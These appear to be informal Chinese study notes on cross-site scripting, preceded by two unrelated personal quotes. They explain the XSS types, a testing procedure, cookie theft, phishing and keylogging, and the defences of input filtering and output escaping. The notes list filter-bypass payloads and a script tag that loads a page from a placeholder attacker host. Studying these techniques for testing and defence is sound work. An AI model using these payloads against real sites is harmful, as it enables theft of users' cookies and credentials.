我需要的爱就在我的心里,其他人只是让我记得那份早已存在于内心的爱,一个去谈恋爱的人就像一个水槽里面有水,这个水就是你爱自己的程度,我爱你是因为我跟你在一起我的样子,就是你把我激发起来你让我变得更好了,但是前提是我也很爱我自己
真相不重要,结果是怎样才最重要。死不死不是别人说了算的,要看你自己愿不愿意。-----大上海2012
跨站脚本漏洞概述:
跨站脚本漏洞类型及测试流程:
1、在目标站点上找到输入点,比如查询接口,留言板等;
2、输入一组 特殊字符 + 唯一识别字符,点击提交后,查看返回得源码,是否有做对应的处理;或者看提交的数据是否有被过滤掉;
3、通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行 js 的条件 (构造闭合)
4、提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
TIPS:
1.一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
2.由于后台可能存在过滤措施,构造的 js 可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
3.通过变化不同的 script 尝试绕过后台过滤机制;
反射型XSS(get&post)的原理分析:
从反射型的XSS (get)弹窗开始认识xss漏洞;如果表单限制了长度,有时候可以在 F12 查看元素 把长度改掉;get 的XSS漏洞利用起来是比较容易的。
存储型XSS原理分析:
存储型xss是会被存到数据库的,而反射型不会存放到数据库;危害性会更加大因为是存到到了数据库 或者 配置文件中的;
Dom型XSS原理分析:
XSS纯前端的操作,会在表单获取输入的字符;还有一个 XSS-S 这个是在 url 获取输入的字符;
XSS的危害-获取cookie 的原理
get、post;;如何获取 cookie ,攻击者搭建xss平台手机cookie;
GET型XSS利用:获取cookie,GET型的参数是在 URL 里面的
1.用户访问 XSS 页面,触发脚本,服务端返回 带恶意JS 的页面
2.用户执行脚本,发送窃取数据 cookie 给攻击者后台,
3.攻击者伪造用户登录,造成破坏
POST型XSS利用:
1.Requset伪造页面,触发表单
2.页面 JS 自动 POST 表单数据,触发XSS
3.执行 JS ,窃取cookie;;;当用户访问我们的表单后就等于攻击完成,访问表单是因为表单有恶意代码,恶意代码就是 docment.cookie 这样获取用户的cookie;这个表单帮用户请求了一个请求这个表单就是存在XSS漏洞的页面 去提交以个js恶意代码 这个恶意代码就是获取本地的 cookie 发送给我的攻击者的xss后台; ;post的这样漏洞就是要自己搭建一个表单页面自动提交页面;让用户访问;
XSS危害-XSS进行钓鱼原理
用jis写一个src访问xss后台的一个页面 页面会弹出来需要你登录才能查看,然后我们这个链接在重定向另一个代码保存刚刚的用户和密码;
<script src="http://ip/xxx/xxx/xxx/xxx.html"></script>
XSS危害-XSS获取键盘记录原理
跨域情况 端口 子域名 协议 不同都是跨域;;
跨域 - 同源策略:为了安全考虑,所有浏览器都约定了 同源策略,同源策略规定,两个不同域名之间不能使用 JS 进行交互操作;比如:x.com 域名下的 JS 并不能操作 y.com域名下的对象;
如果想要跨域操作,需要管理员进行特殊的配置;
Tips:下面这些标签跨域加载资源是不受同源策略限制的。
<script src=""> // JS,加载到本地执行
<img src=""> // 图片
<link href=""> // css
<iframe src=""> // 任意资源
如果没有同源策略 攻击者向 A 发送一个恶意链接 urlb:www.盗取你的cookie.com (这个链接嵌入很多恶意的 JS 代码)这个代码可以直接盗取你的淘宝cookie 这样子的话 不同xss 也不同其他漏洞,这样子只要发一个代码恶意JS 的代码就可以读取 cookie ,这样子的话前端就乱了,所以所有浏览器都有同源策略;
event.keyCode 方法 用来获取用户键盘的方法 然后可以调用异步POST请求发送到后台
ajxs 默认是不可以跨域的;;大概------------
header("Access-Control-Allow-Origin:*"); 加了一个这样的东西就可以了;;
XSS盲打原理:
盲打主要说的是一种场景;盲打的话 在前端显示不了的,输入后 后台保存了下来 然后在后台执行了;如果我们输入了一段恶意代码获取cookie,当后台管理员登录的时候就会获取它的cookie;
XSS的过滤和绕过
XSS输出在 hrep 和 js 中的案例分析
XSS常见防范措施
百度 OWASP 有一些相关学习的东西;;;
XSS是一种发生在 Web 前端的漏洞,所以其危害的对象也主要是前端用户。
XSS漏洞可以用来进行钓鱼攻击、前端 js 挖矿、用户 cookie 获取,甚至可以结合浏览器自身漏洞对用户进行远程控制等;
XSS大概攻击流程:略
跨站脚本漏洞常见类型:危害:存储型 > 反射型 > DOM型
反射型:交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等;
存储型:交互得数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面;
DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出得时候产生得问题,一次性也属于反射型;
XSS漏洞得主要原因是程序对 输入 和 输出得控制不够严格,导致 精心构造 得脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害;
XSS 绕过 - 过滤 - 转换
1.前端限制绕过,直接抓包重放,或者修改HTML 前端代码;
2.大小写,比如:<SCRIPT>aLeRT(111)</sCRIpt>
3.拼凑:<scri<script>pt>alert(111)<scri<script>pt>
4.使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
XSS 绕过 - 过滤 - 编码
后台过滤了特殊字符,比如<script> 标签,当该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行;
使用编码时 需要注意编码在输出点是否会被正常识别和翻译;;
alert('xss') 进行URL编码 可以执行吗?
alert%28%27xss%27%29 并不会执行,因为这些属性标签并不会正常解析这些编码;;
但可以进行 HTML 编码就可以了
XSS绕过的方法有很多,取决于思路和对前端技术的掌握程度;;
<ScRipT>alert(111)</ScRipT>
<img src= x οnerrοr="alert(aaa)">
XSS还是比较灵活的,主要看自己够不够风骚;
XSS --- htmlspecialchars 是一个 php 的函数 默认对 “ 过滤不对 ‘ guolv
XSS 常见防范措施:输入做过滤,输出做转义;
过滤::比如输入手机号,那么只允许输入手机格式的数字
转义:所有输出到前端的数据根据输出点进行转义,比如输出到 html 中进行 html 实体转义,输入到 JS 就进行 JS 转义;
XSS之hrep:a 标签 href :javascript:alert(111) 有可能有输出;href 做输出,一般 href是做超链接的,所以在输入的时候只允许 http https 才允许在这里输出;
XSS之JS :如何去构造闭合 把前面的变量闭合掉
<script>
$dd='x' </script> <script>alert(‘xss’)</script>
在中间 加入一个 </script> 去闭合前面的 <script>
如果进行了HTML实体编码,虽然解决XSS的问题,但是实体编码后,在JS里面不会进行翻译,所以在JS的输出点应该使用 \ 对特殊字符进行转义;
学习所用;写得乱七八糟;觉得自己看回来都有点难看懂;